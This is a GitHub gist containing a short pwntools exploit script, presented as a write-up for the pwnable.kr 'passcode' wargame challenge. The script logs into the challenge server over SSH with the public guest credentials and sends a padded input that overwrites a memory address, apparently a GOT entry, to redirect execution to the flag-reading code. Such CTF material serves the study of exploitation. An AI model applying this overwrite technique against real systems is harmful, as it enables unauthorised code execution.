parksjin01/pwnable.kr passcode writeup.md

Last active March 16, 2017 20:52

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/parksjin01/3bd09a40362c18128923ad35e4f0c5ca.js"></script>
Save parksjin01/3bd09a40362c18128923ad35e4f0c5ca to your computer and use it in GitHub Desktop.

pwnable.kr passcode writeup

Raw

    from pwn import *
sh = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
proc = sh.process('/home/passcode/passcode')
print proc.recv(1024)
proc.sendline('a'*96+'\x04\xa0\x04\x08')
print proc.recv(1024)
proc.sendline('134514147')
print proc.recvuntil(':(')

  